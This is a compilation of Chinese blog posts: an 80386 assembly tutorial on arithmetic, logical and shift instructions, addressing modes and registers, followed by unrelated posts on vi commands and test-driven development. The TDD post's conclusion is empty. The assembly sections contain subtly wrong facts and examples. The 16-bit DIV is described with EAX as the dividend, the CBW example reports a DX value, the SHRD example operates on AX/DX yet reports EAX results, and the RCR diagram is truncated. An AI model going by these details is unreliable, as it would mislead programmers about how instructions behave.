80386 ASM程序设计基础–算术运算指令,逻辑运算指令,移位指令

算术运算指令,逻辑运算指令,移位指令
AA.算术运算指令
A.加减法运算ADD,ADC,INC,SUB,SBB,DEC,CMP,NEG
a.ADD,和8086功能,用法相同,不过支持32位操作,下面的语句都是合法的。
ADD ESI,EDI
ADD EAX,DWORD PTR [1000H]
b.ADC,带进位的加法指令,即OPRDS+OPRDD+CF,其中OPRDS代表源操作数,OPRDD代表目的操作,CF代表进位标志位,功能和用法与8086相同,支持32位操作。
c.SUB,和8086相同,支持32位操作。
d.SBB,带进位的减法指令,即OPRDD-OPRDS-CF,其中OPRDS代表源操作数,OPRDD代表目的操作数,CF代表进位标志位,功能和用法与8086相同,支持32位操作。
e.DEC,减1操作,功能和用法与8086相同,支持32位操作。
f.CMP,比较操作,功能和用法与8086相同,支持32位操作。
g.NEG,求补操作,功能和用法与8086相同,支持32位操作。
h.INC 加1操作,功能和用法与8086相同,支持32位操作。

B.乘除法指令MUL,DIV,IMUL,IDIV
a.MUL,无符号数乘法指令,和8086功能用法一样,即指令中只给出一个操作,被乘数已默认,如果 指令给出的操作数是32位的话,被乘数默认为EAX,那么乘积将存放在EDX:EAX中,其中EDX存放高32位,EAX存放低32位,如果此时EDX= 0,即高32位为0的话,那么OF=0,CF=0,否则被置1。如果指令给出的操数作是16位的话,被乘数默认为AX那么乘积将放在DX:AX中,其中 DX中将存放高16位,AX中存放低16位。如果指令给出的操作数是8位的话,被乘数默认为AL,那么乘积将放在AX,AH中存放高8位,AL中存放低8 位。
b.DIV,无符号数的除法指令,和8086一样,指令给出一个操作数,被除数已默认。如果指令中给出的操作数为32,那么被除数将是EDX:EAX, 最终的商将存放在EAX, 余数将存放在EDX中。如果指令给出操作数为16位,那么被除数为EAX,最终得到的商放在AX,余数放在EAX的高16位。如果指令中给出的操作数为8位,那么被除数是16位,最终得到的商将放在AL中,余数放在AH中。
c.IMUL,有符号数的乘法指令,除了具有8086的用法外,有新的形式:
c1.IMUL DST,SRC;将源操作数SRC与目的操作DST相乘,并将结果送往DST。
c2.IMUL DST,SRC1,SRC2;将源操作数SRC1与源操作数SRC2相乘,并将结果送往DST。
使用这种形式必须遵守的规则,形式c1指令中目的操作数必须是16位或32位通寄存器,源操作数的长度 必须与目的操作的长度一样(8位立即数除外,即00H-FFH或80H-7FH),源操作数可以是通用寄存器,也可以是存储单元或立即数。形式c2指令中 的源操作数SRC1可以是通用寄存器也可以是存储单元,源操作数SRC2必须是立即数,DST必须是16位或32位通用寄存器。呵呵,对于这些规则无需去 问为什么,这是硬件的特性决定的,如果一定要问为什么,那只能问INTEL公司的硬件工程师了:)。同时,有一点要注意的是:这两种形式的指令,目的寄存 器的长度与源操作数长度一样(8位立即数除外),这样的话,该指令事实上对有符号数和无符号数是一样的,因为乘积的低位部分均存储在目的寄存器中,而高位 部分在这两种形式的指令中不予以存储。
d.IDIV,有符号数的除法指令,用法和8086相同,不过支持32位操作。

C.符号扩展指令CBW,CWD,CWDE,CDQ
a.CBW,前面已介绍,在第三篇。
b.CWD,前面已介绍,在第三篇。
c.CWDE,是80386新增的指令。格式:CWDE。功能:将AX的符号位扩展到EAX的高16位中。
d.CDQ,是80386新增的指令。格式:CDQ。功能,将EAX的符号位扩展到EDX中。
e.以上四条指令均不影响标志位。
f.举例说明:
;If AX=1234H,EAX=99991234H
CBW;After processing the instruction,AX=1234,DX=0000H
CDQ;After processing the instruction,EAX=99991234H,EDX=FFFFFFFFH

BB.逻辑运算指令和移位指令NOT,AND,OR,XOR,TEST,SAL,SAR,SHL,SHR,ROL,ROR,RCL,RCR,SHLD,SHRD
a.NOT,AND,OR,XOR,TEST这些指令的功能和用法与8086完全相同,不过它们支持32位操作。
b.TEST,测试指令,该指令测试的结果并不回送到目的操作数和源操数。之所以要使用这条的指令,主要是因为根据TEST指令得到的结果,进行程序的条件转移。
c.SAL,算术左移,功能和8086一样,但在8086中,如果在移位的位数超过1位,那么一定要移 位的位数放在CX寄存器中。在80386中,可以不用这样做,其它的移位指令也一样。除了这一点以外,用法和8086一样,当然也支持32位操作。以下的 语句均是合法的。
SHL AL,5;这在8086中是非法,但在80386中是合法的
SHL WORD PTR [SI],3
d.SAR,算术右移,将操作数右移指定的位数,但左边的符号位保持不变,移出的最低位进入CF标志位。
e.SHL,逻辑左移,用法和功能与SAL一样。
f.SHR,逻辑右移,将操作右移指定的位数,同时每移一位,左边用0补充,移出的最低位进入CF标志位。
g.说明:在80386中,实际移位的位数是指令中移位位数的低5位,也就是说移位位数的范围在0- 31或0-1FH,CF标志位总是保留着目的操作数最后被移出位的值。当移位位数大于操作数的长度时,CF被置0。如果移位位数为1,移位前后的结果的符 号位都是一样,那么很明显的是该操作数经移位后没有移出,此时OF=0。这四条指令的移位示意图(我画的是16位操作数的移位示意图,8位和32依此类 推),SAL,SHL相当于乘法;SAR,SHR相当于除法。
SAL:
|-------------------------------------------------------------------------------------------|
|CF|<-|bit15|bit14|bit13|bit12|bit11|bit10|bit9|bit8|bit7|bit6|bit5|bit4|bit3|bit2|bit1|bit0|
|-- ----------------------------------------------------------------------------------------|
SHL:
|-------------------------------------------------------------------------------------------|
|CF|<-|bit15|bit14|bit13|bit12|bit11|bit10|bit9|bit8|bit7|bit6|bit5|bit4|bit3|bit2|bit1|bit0|
|--- ---------------------------------------------------------------------------------------|
SAR:
|--------------------------------------------------------------------------------------------|
|-|bit15|bit14|bit13|bit12|bit11|bit10|bit9|bit8|bit7|bit6|bit5|bit4|bit3|bit2|bit1|bit0|->|CF||
| |---|----------------------------------------------------------------------------------------|
| ^
|-----|最高位保持不变
SHR:
|--------------------------------------------------------------------------------------------|
0->|bit15|bit14|bit13|bit12|bit11|bit10|bit9|bit8|bit7|bit6|bit5|bit4|bit3|bit2|bit1|bit0|->|CF||
|--------------------------------------------------------------------------------------------|
h.ROL,循环左移,支持32位操作数,用法和8086一样。
i.ROR,循环右移,支持32位操作数,用法和8086一样。
j.RCL,带进位的循环左移,支持32位操作数,用法和8086一样。
k.RCR,带进位的循环右移,支持32位操作数,用法和8086一样。
l.ROL,ROR,RCL,RCR的移位示意图(仍然以16位操作数来画,8位/32位依次类推):
ROL:
|--------------------------------------------------------------------------------------------------|
|<-|bit15|bit14|bit13|bit12|bit11|bit10|bit9|bit8|bit7|bit6|bit5|bit4|bit3|bit2|bit1|bit0|<--------|
|--------------------------------------------------------------------------------------------------|
|--------------------------------------------------------------------------------------------------|
ROR:
|-------------------------------------------------------------------------------------------|
|->|bit15|bit14|bit13|bit12|bit11|bit10|bit9|bit8|bit7|bit6|bit5|bit4|bit3|bit2|bit1|bit0|->|
|-------------------------------------------------------------------------------------------|
|-------------------------------------------------------------------------------------------|
RCL:
|-------------------------------------------------------------------------------------------------|
|<-|CF|<-|bit15|bit14|bit13|bit12|bit11|bit10|bit9|bit8|bit7|bit6|bit5|bit4|bit3|bit2|bit1|bit0|<-|
|-------------------------------------------------------------------------------------------------|
|-------------------------------------------------------------------------------------------------|
RCR:
|-------------------------------------------------------------------------------------------------|
|->|CF||
|---- --------------------------------------------------------------------------------------------|
|-------------------------------------------------------------------------------------------------|
m.SHLD,80386新增的双精度左位指令,指令格式:SHLD OPRD1,OPRD2,M
n.SHRD,80386新增的双精度右移指令,指令格式:SHRD,OPRD1,OPRD2,M
o.m,n这两条指令的使用规则是:源操作数OPRD1可以是16位或32位通用寄存器或者16位存储 单元或者32位存储单元,源操作数OPRD2必须是16位或32位通寄存器,M表示移位次数,可以是CL寄存器,也可以是8位立即数。功能:SHLD是将 源操作数OPRD1移M位,空出的位用OPRD2高端的M位来填补,源操作数OPRD2的内容不变,最后移出的位放在CF中;SHRD将源操作数 OPRD1移M位,空出的位用OPRD2低端M位来填补,源操作数OPRD2保持不变,最后移出的位放在CF中,对于这两条指令,当移位位数仅为1的话, 移出和移后的符号位不变的话,那么OF=0,如果符号位不一样的话,那OF=1。
p.这两条指令是80386新增的指令,举两个简单的例子加以说明:
p1.SHLD:
MOV AX,8321H
MOV DX,5678H
SHLD AX,DX,1
SHLD AX,DX,2
分析一下该指令的详细执行过程(用示意图, 第一个图画的就是AX的内容):
AX=8321h
|-------------------------------|
|1|0|0|0|0|0|1|1|0|0|1|0|0|0|0|1|
|-------------------------------|
根据指令SHLD AX,DX,1,先左移一位,得到AX=0642H:
|-------------------------------|
|0|0|0|0|0|1|1|0|0|1|0|0|0|0|1|0| CF=1
|-------------------------------|
经过上一步的移位后,AX的最后一位(即bit0)空出来,其值为0;根据指令的用法将用DX的第15位填充,填充后AX的内容为:
|-------------------------------|
|0|0|0|0|0|1|1|0|0|1|0|0|0|0|1|0|
|-------------------------------|
同时由于移位后AX的符号位与移位前AX的符号位不同,所以在移位过程中产生了溢出,OF=1,最后结果AX=0642H。
同理,SHLD AX,DX,2,执行完这条指令后,最后结果为AX=0644H
p2.SHRD:
MOV EAX,12345678H
MOV EDX,99994599H
SHRD AX,DX,1
SHRD AX,DX,2
分析一下该指令的详细执行过程(用示意图,第一个图画的是EAX的内容):
EAX=12345678H
|---------------------------------------------------------------|
|0|0|0|1|0|0|1|0|0|0|1|1|0|1|0|0|0|1|0|1|0|1|1|0|0|1|1|1|1|0|0|0|
|---------------------------------------------------------------|
根据指令SHRD AX,DX,1,将AX右移一位得到EAX=091A2B3EH:
|---------------------------------------------------------------|
|0|0|0|0|1|0|0|1|0|0|0|1|1|0|1|0|0|0|1|0|1|0|1|1|0|0|1|1|1|1|1|0|
|---------------------------------------------------------------|
经过上一步的移位后,EAX的最高位(第31位)空出来用0填充,根据指令的用法,最EDX的第0位来填充,填充后EAX的内容为:
|---------------------------------------------------------------|
|1|0|0|0|1|0|0|1|0|0|0|1|1|0|1|0|0|0|1|0|0|1|1|0|0|1|1|1|1|0|0|0|
|---------------------------------------------------------------|
即EAX=891A2B3EH,CF=0,OF=0
同理,指令SHRD AX,DX,2,执行完这条件指令后,最后结果为EAX=048D159C,CF=0,OF=0

80386 ASM程序设计基础– 80386处理器的寻址方式

80386处理器的寻址方式
在实式模式下,80386处理器的最大寻址空间仍然为1M,和8086/8088相似。即段地址*10H+段内偏移地址,从而形成20位地址。此种模式下,段基址是16的倍数,长度最大不超过64K。
在保护模式下,80386处理器可以使用所有的物理内存。段基址可以是32位,也可以不是16的倍数, 同时它的最大长度为4G,这与8086完全不同,在形成逻辑地址时用段基址直接加上段内偏移地址,而并不将段基址左移4位(乘以16)。通常情况下,除了 访问堆栈外,默认的段都为DS,有跨段前缀就另当别论了。在以BP,EBP,ESP作为基址寄存器时,这时默认的段寄存器应该是SS,举几个简单的例子:
MOV EAX,[SI];这里的段寄存器是DS
MOV EAX,FS:[ESI];这里的段寄存器是FS,因为指令中使用跨段前缀显示指定了
MOV EAX,[BP];这里的段寄存器是SS,因为指令中使用了BP作为基址寄存器
MOV EAX,GS:[BP];这里段寄存器是GS,因为指令中使用跨段前缀显示指定了
80386中32位数的操作的顺序是“高高低低”,即是说高16-》高16,高8-》高8,低16-》 低16,低8-》低8,这和8086相似。同时80386微处理器兼容所有8086的寻址方式,而且对8086的寻址方式有很大的改进和扩展。在8086 下,只允许BP,BX,SI,DI作为寻址寄存器,但在80386下,8个通用寄存器都可以作为寻址寄存器。不过有一点要注意的是在基址变址寄存器寻址方 式或相对基址变址寻址方式中,段寄存器由基址寄存器来确定,而不是由变址寄存器来确定,同时除ESP外其它的7个通用寄存器都可以作为变址寄存器,用代码 来表示就是:
MOV EAX,[EBP+ESP+2];这条指令是错误的,因为不可以用ESP作为变址寄存器
MOV EAX,[EBP+ESI+10H];这里的段寄存器应该有基址寄存器来决定。基址寄存器是BP,那么这里的段寄存就是SS
MOV EAX,GS:[EBP+EDI+100H];不用看了,这里的段寄存器应该是GS,因为指令通过跨段前缀显示指定了
80386支持的基地址+变址+位移量寻址进一步满足了高级语言支持的数据类型。对于C语言来讲,普通变量,数组,结构体,结构体的数组,数组的构体我们既可存放在栈中(静态定义-static definition),也可以存放在堆中(动态定义-dynamic definition),用ASM也一样可以实现。基址变址寄存器提供了两个可以改变的部分,而位移量则是静态的。看下面的例子:
//Variables in C Programming-Language,the corresponding ASM will list below
void main()
{
int a;//普通的变量,用ASM寻址时直接用DS:[一位移量],如DS:[2000],属于直接寻址方式
int array[24];//数组,用ASM寻址时用DS:[BX+SI*4],4表示整型的长度,属于基址变址寻址方式
struct abc
{
int a,b,c;
float d;
};
struct abc aa;//结构体,用ASM寻址时DS:[BX+Shift],Shift代表位移量,属于寄存器相对寻址方式
struct abc aa[100];//结构体数组,用ASM寻址时用DS:[BX+SI*sizeof(abc)+Shift],属于相对基址变址寻址方式
struct cde
{
int array[100];
float e,f,g;
};
struct cde ccc;//数组结构体,用ASM寻址时用DS:[BX+SI*4+Shift],属于相对基址变址寻址方式
}
80386与8086的寻址方式差不多完全一样,只不过80386的寻址方式更灵活,它的操作数有32位,16位,8位。
让我们再重温一下8086的寻址方式:
a.立即寻址,所谓立即寻址就是操作数就在指令中,比如说:MOV AX,5678H
b.直接寻址,即直接包含操作数的有效地址EA,比如说MOV AX,[1234]
c.寄存器间址寻址,用寄存器的内容来作为操作数的有效地址,比如说SI=1234,MOV AX,[SI],8086下可用的寄存器只有4个:BX,BP,SI,DI,80386下8个通用的寄存器都可以使用。
d.寄存器相对寻址,即在寄存器间址寻址方式的基础上再加一个位移量,位移量可以是8位也可以是16位,比如说MOV AX,[BX+90H]。
e.基址变址寻址,即操作数的有效地址由一基址寄存器和一变址寄存器产生,如MOV AX,[BX+SI]。那么在8086下,只有SI,DI可以作为变址寄存器,在80386下除ESP外的其它7个通用寄存器都可以作为变址寄存器,比如说MOV AX,[BX+SI]。
f.相对基址变址寻址,在e寻址方式的基础上加上一位移量,比如说MOV AX,[BX+SI+100H]。
在8086下,我们如进行字节或字操作,往往要加上伪指令WORD PTR或BYTE PTR。在80386下不用显示指定,处理器会自动处理,当发现目的操作为8位时,处理器就会进行8位操作,同理当发现目的操作为16位,处理器就会进行16位操作,80386下以目的操作数的长度为准,以下几条简单的传送指令:
MOV AL,CS:[EAX];8位操作,段寄存器是CS,寻址方式是寄存器间址寻址
MOV AL,ES:[BX];8位操作,段寄存器是ES,寻址方式是寄存器间址寻址
MOV EDX,[EDX+EBX+1234H];32位操作,段寄存器是DS,寻址方式是相对基址变址寻址
MOV AX,[EBX+ESI*4];16位操作,段寄存器是DS,寻址方式是基址变址寻址
MOV BH,ES:[EBX+EDI+900H];8位操作,段寄存器是ES,寻址方式是相对基址变址寻址
MOV DL,[EBP+ESI+1900H];8位操作,段寄存是SS,因为用了EBP作为基址寄存器。寻址方式是相对基址变址寻址

80386 ASM程序设计基础

80386 ASM程序设计基础,呵呵,这是最近一段时间我的业余爱好。本期将连续推出若干篇有关80386ASM程序设计的基础,主要介绍80386ASM指令的详 细用法及如何在80386实模式下,保护模式下及虚拟8086模式编程以及我会详细介绍80386下的段页管理机制,我会将80386下的指令与8086 下的相同指令进行比较。在你去看罗云彬的ASM编程之前,不妨先看看我的基础篇,希望有志于从事汇编语言的朋友,多提意见。
80386处理器是Intel公司80x86发展史上的里程碑,它不但兼容先前的8086/8088,80186,80286处理器,而且也为后来的486,Pentium(586),Pentium Pro(686)的发展打下了坚实的基础,对于我们程序员来讲更重要的是:我们关心80386在指令上到底有哪些扩展呢?80386有哪些寻址方式呢?毫无疑问,它不但兼容了8086的所有指令,而且还对它们进行增强.
呵呵,我知道有很多人问我CPU已经发展到PentiumIIII,没有必要学习80386的汇编。其实不然, 80386处理器中的保护模式,虚拟8086模式以及地址的段页管理机制,虚拟内存这些都是以后处理器的核心。所以说80386是后续发展处理器的基础, 比如说80486实质上80386+80387协处理,这块协处理器主要用于处理浮点运算,Pentium处理器在80386指令的基础上增加了57条指 令,8个数据类型,8个64位的寄存器来处理多媒体。从这一点来看,完全有必要了解80386ASM,这就好像学习80386,必须先要熟练掌握 8086。
1.80386的的寄存器:
80386的寄存器可以分为8组:通用寄存器,段寄存器,指令指针寄存器,标志寄存器,系统地址寄存器,控制寄存器,调试寄存器,测试寄存器,它们的宽度都是32位的。本篇主要介绍80386的寄存器。
A1.General Register(通用寄存器)
EAX,EBX,ECX,EDX,ESI,EDI,ESP,EBP,它们的低16位就是8086的AX,BX,CX,DX,SI,DI,SP,BP,它们的含义如下:
EAX:累加器
EBX:基址寄存器
ECX:计数器
EDX:数据寄存器
ESI:源地址指针寄存器
EDI:目的地址指针寄存器
EBP:基址指针寄存器
ESP:堆栈指针寄存器
这些寄存器可以将低16位单独存取,也就是8086的AX,BX,CX,DX,SI,DI,SP,BP,在存取这些寄存器的低16位(AX,BX,CX,DX,SI,DI,SP,BP),它
们的高16位不受影响,同时和8086一样对于AX,BX,CX,DX这四个寄存器来讲,可以单独存取它们的高8位和低8位(AH,AL,BH,BL,CH,CL,DH,DL)

A2:Segment Register(段寄存器)
除了8086的4个段外(CS,DS,ES,SS),80386还增加了两个段FS,GS,这些段寄存器都是16位的,它们的含义如下:
CS:代码段(Code Segment)
DS:数据段(Data Segment)
ES:附加数据段(Extra Segment)
SS:堆栈段(Stack Segment)
FS:附加段
GS 附加段

A3:Instruction Pointer(指令指针寄存器)
EIP,它的低16位就是8086的IP,它存储的是下一条要执行指令的地址。

A4:Flag Register(标志寄存器)
EFLAGS,和8086的16位标志寄存器相比,增加了4个控制位,不过这4个控制位它们在实模下不起作,这四个控制位分别是:
a.IOPL(I/O Privilege Level),I/O特权级字段,它的宽度为2bit,它指定了I/O指令的特权级。如果当前的特权级别在数值上小于或等于IOPL,那么I/O指令可执行。否则,将发生一个保护性异常。
b.NT(Nested Task):控制中断返回指令IRET,它宽度为1位。NT=0,用堆栈中保存的值恢复EFLAGS,CS和EIP从而实现中断返回;NT=1,则通过任务切换实现中断返回。
c.RF(Restart Flag):重启标志,它的宽度是1位。它主要控制是否接受调试故障。RF=0接受,RF=1忽略。如果你的程序每一条指令都被成功执行,那么RF会被清0。而当接受到一个非调试故障时,处理器置RF=1。
d.VM(Virtual Machine):虚拟8086模式(用软件来模拟8086的模式,所以也称虚拟机)。VM=0,处理器工作在一般的保护模式下;VM=1,工作在V8086模式下。
其它16个标志位的含义和8086一样,在这里也重温一遍:
e.CF(Carry Flag):进位标志位,由CLC,STC两标志位来控制
f.PF(Parity Flag):奇偶标志位
g.AF(Assistant Flag):辅助进位标志位
h.ZF(Zero Flag):零标志位
i.SF(Singal Flag):符号标志位
j.IF(Interrupt Flag):中断允许标志位,由CLI,STI两条指令来控制
k.DF(Direction Flag):向量标志位,由CLD,STD两条指令来控制
l.OF(Overflow Flag):溢出标志位。
控制寄存器,系统地址的寄存器,调试寄存器,测试寄存器将在介绍完80386分段,分页管理机制后介绍,请继续关注第二篇“80386存储器的寻址方式”。

VI 常用命令(不断添加中)

首先记住基础的三条:

一、VI有三种模式:『一般模式』、『编辑模式』与『指令列命令模式』

二、经常使用的按键:

命令 移动
h 左一个字符
j 下一行
k 上一行
l 右一个字符
w, W 前一个单词 (W 忽略标点)
b, B 后一个单词 (B 忽略标点)
$ 到行尾
^ 到行首第一个非空字符
0 行首
G 到缓冲首
nG 到第 n

三、常用命令:

x--删除一个字符 删除文字的最简单的方式是用 x。这个命令的结果是光标所处 的字符的消失,后面的文字左移动。如果你删除的字符是一行最后的一个字符, 那么光标将向左移动一个,这样光标就不会停留在不存在的字符的下面了。假如 没有任何文字了,喇叭就叫。

d--删除对象 这个命令的右边还要有一定的文字对象。文字对象就是一块文字。他右边接的就是在控制光标移动的那些字符。例如 w 表示向前一个单词,那么 dw 将删除下一个单词。5w 表示前进 5 个单词,那么 d5w 将删除他们。

dd--删除一行 最常用的 d 系列命令之一。和前面一样, 5dd 将删除 5 行

D--整个删除 大写形式的 D 用来删除从光标到行尾。和 d$ 一样效果。

u--恢复 要后悔吗?他不仅仅撤消删除,还撤消你所有的编辑工作。

.--重复 重复编辑工作。

:%s/oldword/newword/g

将文中所有的oldword替换为newword

测试驱动的开发系列 第一部分:概述(转)

介绍测试驱动的开发(test-driven development,TDD)的基础 测试驱动的开发系列 第一部分:概述
Test_Driven Development Series Part I:Overview
By Wellie Chao

December 2003

一、简介(Introduction)
你可能已经听说了这个新名词:测试驱动的开发(test-driven development),它在广大程序员、各种杂志和网络中程序员常去的地方都非常流行。它究竟是什么呢?测试驱动的开发是一种方法理论,它强调把测试 作为开发过程的一个主要部分。要是关心程序质量的话,在部署之前前就应该测试。几乎所有人都使用某种方法进行测试,所以你可能会问:测试不已经是开发过程 的一个部分了吗?测试驱动的开发要让测试成为开发过程的主要部分。

二、手工测试(Manual Testing)
早期的软件开发时,许多人的测试方法就是运行程序,通过手工操作来指定输入然后观察输出。现在还有很多软件的开发继续着这种方式。它有一个关键的优点:非 常容易学习和理解。如果你有键盘和鼠标,并且会操作图形界面,你就可以测试任何桌面应用。如果你有web浏览器,你还可以测试web应用。这根本谈不上什 么技巧,你可以认为所有开发人员都能做到。手工操作时你看到的应用和最终用户看到的完全相同,这也是一个不错的主意,但并不是真正的优点,因为其它的测试 方法也能做到。
手工测试的缺点就实在太多了:

  1. 手工测试需要反复进行。每一次修改程序,不管是增加新特征,改变已有行为,还是修改bug,你都必须重新测试被影响的部分,才能保证你增删改的代码不会造成破坏。
  2. 手工测试可能带来错误。人类不适合作重复性的工作,特别是这个工作还很烦人的话。人类经常忽略细节,这会导致代码被破坏。更可能造成的 问题是:修改这个地方,可能会影响到另一些代码的行为,尽管它们的关系不是很明显。因此,即使你作了非常认真负责的测试,那也只限于你认为修改可能影响到 的部分,你还是有可能会在其它地方漏掉一些bug或被破坏的功能,不是因为你不够仔细,而是因为软件开发是综合性的工作,软件的各个部分常常有关联,在现 在的软件项目中,任何人都不可能详细了解某段代码所有的依赖和被依赖关系。
  3. 手工测试无法对不可视组件进行单独测试。如果你只测你能看到的,那你就没测你看不到的。这看上去是非常简单的一个命题,但它的意义 重大。软件是复杂的,为了定位和解决错误或被破坏的代码,大量形态各异的bug需要通过"剥茧抽丝"式的测试去分析每一个组件的行为。对于服务器端软件尤 为如此。服务器端程序中,几乎所有的重要代码都在逻辑层,如基于web的程序。表示层测试只能间接的测试业务逻辑,可能忽略某些细节。你当然希望逻辑层和 表示层都能很好的工作,但逻辑层正常工作是整个应用能正常运行的基础。
  4. 如果你的测试是手工进行的,别人就没法判断你的程序功能是否正确。其他人(例如其他开发人员或者甚至是最终用户)只能接受你的承 诺:你作了测试,各方面都满足需求。除了你的书面或口头声明保证你对程序作过测试它满足所有可视的检查外,其他人没办法验证功能正确,除非他们自己辛苦的 作一遍测试,但这个工作可能并不适合他们,因为他们不熟悉程序的边界条件和逻辑。

三、自动测试(Automated Testing)
自动测试解决了手工测试的不足。因此,要回答"除了软件开发中一直在做的那些事情外,测试驱动的开发到底意味着什么?"这个问题,测试驱动的开发在整个开 发过程中引入自动测试,并不断改进这些测试以适应程序代码的扩展。注意这中间的两个要点,第一,测试是自动的表示它不但可以重复进行,还要很方便移植,可 重复是指你可以一遍又一遍的对同样的代码进行测试,并且每次都得到同样的结果;方便移植是指别人可以使用你的测试,自己来验证你的程序是否能通过这些测 试。第二点要求测试的改进包含到程序本身代码的改进中,测试落后于代码可不是件好事,因为这样测试就不能真正的验证程序功能正确与否,因此测试代码需要与 应用本身的代码保持同步前进。

软件的自动测试有两个主要方法。第一个是通过可重现的recorded macros。Mercury Interactive (http://www.mercuryinteractive.com/products/winrunner/)的WinRunner等就是用的这种方法。尽管很容易建立,但宏是很不稳定的,需要经常修改,因为它们通常依赖于按钮和组件的物理位置,而不是在parsed document中的结构位置。对开发人员来说,测试框架不管是产生不正确的错误信息,还是需要大量的工作才能保持和代码同步,都是非常痛苦的事情,

第二个进行web应用自动测试的主要方法就是通过编程API。这样你就有了测试框架,软件库可以检查条件是否满足,报告错误的数量和类型,你可以在测试代 码中调用这个框架。你的测试代码就是继承自测试框架的一套标准Java类,它们从应用代码中初始化对象,调用方法来验证给定输入会得到预期的结果。采用编 程API方案的包括JUnit、HttpUnit、各种单元测试和黑盒web测试的工具等等。这种方案非常灵活,大多数情况下它大大减少了测试代码的维护 时间,并且使应用中的复杂功能测试成为可能,尤其是服务器端应用。这种测试可交替的调用programmatic testing,API-driven testing,或者programmatic API-driven testing。

相对于recorded macros模式来说,基于API的自动测试方法的第一个弱点是它的需要更长创建时间。当你的问题是鼠标移动和点击时很难减少设置时间。第二个问题是绝大 多数客户不会写测试程序的。客户了解的是业务过程,而不是技术,客户可能觉得移动鼠标和点击鼠标容易得多,这一点非常重要,如果你想让客户在开发过程中就 参与进来的话,客户参与是极限编程的鼓吹者推荐的方法。

虽然如此,基于API的方法在许多方面存在着优越性,可以在大多数应用中使用,因为应用程序随时间改变的程序非常大,所以花在测试程序维护上的时间比测试程序的创建时间占的比例更大。而且recorded macro方法有一个致命限制:只有在应用代码写完之后你才能建立测试。如果你们的开发习惯是不在程序完成前测试,那非常好。否则,如果你坚持测试先行的习惯,正如作者推荐的,那非常不幸recorded macros不适合你,因为在记录宏进行重放之前,你必须有一个能运行的应用程序。

好的方案可能既有recorded macros测试,又有基于API的程序化测试。通过鼠标拖点式测试你可以让最终用户参与到测试中来,保证你的程序满足业务需求。通过程序化测试则可以在技术角度确保程序组件按预计的情况工作。

使用程序化测试,你有两种选择:功能测试和单元测试。功能测试也叫做黑盒测试,是指在不知道(或者忽略)内部实现的情况下,在一个较高的层次上进行测试。 功能测试用于验证程序是否完成业务需求,它模拟采用与最终用户一致的方式与程序进行交互。最终用户可能是使用基于web应用的业务人员,也可能是通过你所 提供的API来使用你的类库的开发人员。如果你一定要纠缠概念,功能测试和黑盒测试还是有一些区别的,因为技术上功能测试可以在容器内进行(如果要测得是 web程序的话),但实际上绝大多数功能测试是在黑盒中做,除了公布的接口外你一无所知。相反,单元测试包括底层代码的验证,为了对确保内部组件没有问 题,必须了解程序的内部结构。你还需要知道那些类和方法的实现。如果要测的程序是给开发人员使用的软件库,你的单元测试包括所有重要的类和方法,甚至在发 布给用户的API文档中没有列出的内容。功能测试与程序交互的方式是通过点击按钮和信息入口,进入程序可见的forms。单元测试与程序的交互是通过 Java方法调用来访问。
对前面提到的手工测试的四个缺陷,自动测试都给出了很好的解决:

  1. 排除重复。用自动测试你可以把这项工作交给计算机去办,它们将严格按照你每次测试的流程进行操作。
  2. 减少错误。计算机每次都用同样的方式执行重复操作。而且,因为测试是cumulative,而且容易调用,即使某一些代码修改在直接影 响范围之外很远的地方造成破坏,你仍然能找到这个错误,因为你以前写的检查那些(被破坏的部分)代码的测试会告诉你。自动测试的cumulative是一 个非常有用的特点,也是相对手工测试来说一个重要的优点。用手工测试来检查程序的其它部分是不切实际的。
  3. 允许组件的独立测试。自动测试,至少其中的基于API的程序化方式,可以让你测试程序的不可视部分,例如你认为是程序核心的业务逻 辑。编程测试在其它程序(测试代码)中调用你的代码。粒度由你自己把握。如果不考虑程序的任何内部实现,你可以模拟一个web浏览器或者使用鼠标操作桌面 的用户,进行黑盒或功能测试。你也可以调用类库德公共API,因为你不考虑API内部的实现,这也可以算作一种黑盒或功能测试。你还可以调用隐藏类或公共 类的内部方法,来验证它们按你想的方式工作,因为针对的是独立的方法和类,而且你会知道算法等内部实现细节,这就是单元测试。你要做什么测试,就选择什么 级别的细节。
  4. 让最终用户自己来验证软件的功能正确。它的作用不仅在于防止破坏用户数据的bug,而且可以帮助发现你的软件在新的环境中可能出现 的无法预料的问题。新的环境包括不同的操作系统,新的硬件平台,不同的网络配置,或者各种各样的其它差异。自动测试可以把你的测试转移到其它平台上,确保 你的程序在任何地方都能正确运行。

四、工具(Tools)
下面的几个工具对自动测试非常有用:

  1. JUnit。JUnit是单元测试的鼻祖。其它工具经常在JUnit基础上创建,因为JUnit提供了单元测试和功能测试都必须用到的两项功能:断言检查和结果报告。可以在http://www.junit.org/找到JUnit.
  2. HttpUnit。HttpUnit是在JUnit之上构建的测试框架,它支持web应用的黑盒测试和in-container测试。 它是功能测试工具,你可以用它验证软件符合业务需求,在可视的级别符合预期行为。有趣的是,HttpUnit的基础代码实际上跟测试没什么关系。 HttpUnit库的目的是加强HTTP对web应用的访问,它支持的特征包括状态管理(cookies)、请求提交、应答解析(HTML解析),以及网 络蜘蛛(web spider)工具包需要的一些特征。HttpUnit还有一个支持容器内测试的类ServletUnit。在JUnit提供的断言功能和结果报告功能的 基础上,HttpUnit成为了一个测试web应用非常有用的工具。可以在http://www.httpunit.org/找到HttpUnit,
  3. jWebUnit. jWebUnit是在HttpUnit上创建的一个辅助工具包,它减少测试web程序需要你写的代码。简单的说,你可以把它当作HttpUnit的宏程序 库,提供到HttpUnit代码段的快捷方式,简化web程序测试中的大多数行为。HttpUnit提供相对底层的接口让你自己定制许多事情。你可能觉得 jWebUnit有用,也可能不,如果用HttpUnit可以解决你的所有问题,jWebUnit也可以。它可能带来更多的代码,但你有更好的控制。可以 在http://jwebunit.sourceforge.net/找到jWebUnit。
  4. StrutsTestCase. StrutsTestCase是为测试Struts应用在JUnit基础上创建的测试框架。Struts是用Java开发web应用的程序员非常喜欢的模 型-试图-控制器(MVC)平台,它简化了数据、表示和逻辑分离的易维护性组件式代码开发。Struts使web程序容器间(in-container) 的功能测试和单元测试变得复杂,因为它们夹在servlet容器和你的程序之间。这就意味着这个测试框架要认识Struts,能处理Struts的容器间 测试。由于不需要知道web程序的内部实现,HttpUnit的黑盒测试仍然工作得很好。然而你无法用HttpUnit做Struts应用的容器间测试, 因为HttpUnit要独立的位于你的程序和servlet容器之间。StrutsTestCase是专为Struts程序的的容器间测试设计的。 StrutsTestCase可以在http://strutstestcase.sourceforge.net/获得。

五、总结(Conclusion)
